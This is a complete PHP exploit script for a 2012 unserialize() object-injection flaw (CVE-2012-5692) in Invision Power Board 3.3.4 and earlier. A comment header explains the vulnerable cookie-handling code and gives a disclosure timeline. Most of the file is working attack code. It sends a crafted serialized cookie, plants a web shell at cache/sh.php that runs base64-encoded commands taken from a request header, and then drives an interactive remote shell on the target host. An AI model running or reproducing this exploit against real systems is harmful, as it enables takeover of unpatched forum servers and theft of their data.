Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution

<?php

/*
----------------------------------------------------------------
Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
----------------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: http://www.invisionpower.com/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php

4015. static public function get($name)
4016. {
4017. // Check internal data first
4018. if ( isset( self::$_cookiesSet[ $name ] ) )
4019. {
4020. return self::$_cookiesSet[ $name ];
4021. }
4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
4023. {
4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
4025.
4026. if ( substr( $_value, 0, 2 ) == 'a:' )
4027. {
4028. return unserialize( stripslashes( urldecode( $_value ) ) );
4029. }

The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a
serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug
info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this
reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

[-] Disclosure timeline:

[21/10/2012] - Vulnerability discovered
[23/10/2012] - Vendor notified
[25/10/2012] - Patch released: http://community.invisionpower.com/t...ecurity-update
[25/10/2012] - CVE number requested
[29/10/2012] - Assigned CVE-2012-5692
[31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------------------+";
print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /ipb/\n";
die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : '';

class db_driver_mysql
{
public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}

$payload = urlencode(serialize(array(new db_driver_mysql)));
$phpcode = '<?error_reporting(0);print(___);passthru(base64_d ecode($_SERVER[HTTP_CMD]));die;?>';

$packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$packet = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

while(1)
{
print "\nipb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}